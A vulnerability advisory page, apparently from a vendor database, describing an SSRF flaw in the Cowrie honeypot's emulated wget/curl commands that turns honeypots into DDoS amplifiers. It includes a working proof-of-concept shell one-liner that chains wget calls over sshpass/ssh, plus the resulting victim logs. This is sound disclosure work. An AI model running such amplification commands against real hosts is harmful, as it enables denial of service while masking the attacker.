脆弱性データベースGHSA-83jg-m2pm-4jxj

GHSA-83jg-m2pm-4jxj
Python 脆弱性の分析と軽減

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Cowrie's emulated shell mode allows unauthenticated attackers to abuse the honeypot as an amplification vector for HTTP-based denial-of-service attacks against arbitrary third-party hosts.

Details

When Cowrie operates in emulated shell mode (the default configuration), it basically emulates common Linux commands. The wget and curl command emulations actually perform real outbound HTTP requests to the destinations specified by the attacker, as this functionality is intended to allow Cowrie to save downloaded files for later inspection. An attacker who connects to the honeypot via SSH or Telnet can repeatedly invoke these commands targeting a victim host. Since there was no rate limiting mechanism in place, the attacker could generate unlimited outbound HTTP traffic toward the victim. The requests originate from the honeypot's IP address, effectively masking the attacker's identity and turning the honeypot into an unwitting participant in distributed denial-of-service (DDoS) attacks. This vulnerability was observed being actively exploited in the wild. Acknowledgements This vulnerability was investigated by Abraham Gebrehiwot and Filippo Lauria, both affiliated with the Institute of Informatics and Telematics, Italian National Research Council (CNR). Fix This issue has been fixed in version 2.9.0 via PR #2800, which introduces a rate limiting mechanism for outbound requests in command emulations such as wget and curl.

PoC

This is a rudimentary proof of concept demonstrating the amplification potential of this vulnerability. Setup:

  • Victim machine (192.168.1.30): runs a simple HTTP server
  • Attacker machine (192.168.1.20): initiates the attack
  • Cowrie honeypot (192.168.1.10): configured in emulated shell mode with SSH access (credentials: test:test)

On the victim machine, start an HTTP server:

sudo python3 -m http.server 80

On the attacker machine, execute:

PAYLOAD=$(for i in {1..100}; do echo -n 'wget -q http://192.168.1.30;'; done) && \
for i in {1..10}; do sshpass -p test ssh test@192.168.1.10 "$PAYLOAD"; done

This command builds a PAYLOAD consisting of 100 concatenated wget commands, then executes it 10 times via SSH, resulting in 1,000 HTTP requests toward the victim from a single attack script. The amplification factor can be arbitrarily increased by adjusting these values, bounded by technical limitations such as argument length, buffer sizes, etc. Result: The victim's HTTP server logs show 1,000 requests originating exclusively from the honeypot's IP address (192.168.1.10), received within approximately 5 seconds (truncated for brevity):

192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
...
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -

Notice that the attacker's IP (192.168.1.20) never appears in the victim's logs, demonstrating how the honeypot masks the attacker's identity.

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability that enables abuse of Cowrie honeypots as DDoS amplification nodes. Who is impacted: Any organization running Cowrie in emulated shell mode (the default configuration) with versions prior to 2.9.0. Consequences:

  • Third-party victims receive unwanted HTTP traffic from the honeypot's IP address
  • Attackers can mask their identity behind the honeypot's IP
  • Honeypot operators may face abuse complaints or have their infrastructure blocklisted
  • Network resources of the honeypot host are consumed

ソースNVDの

関連 Python 脆弱 性:

CVE 識別子

重大度

スコア

テクノロジー

コンポーネント名

CISA KEV エクスプロイト

修正あり

公開日

CVE-2025-68664CRITICAL9.3
  • PythonPython
  • langchain-core
いいえはいDec 23, 2025
GHSA-83jg-m2pm-4jxjHIGH8.3
  • PythonPython
  • cowrie
いいえはいDec 20, 2025
CVE-2025-67743MEDIUM6.3
  • PythonPython
  • local-deep-research
いいえはいDec 23, 2025
CVE-2025-68480MEDIUM5.3
  • PythonPython
  • marshmallow
いいえはいDec 22, 2025
CVE-2025-65713MEDIUM4
  • PythonPython
  • homeassistant
いいえはいDec 23, 2025

無料の脆弱性評価

クラウドセキュリティポスチャーのベンチマーク

9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。

評価を依頼する

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者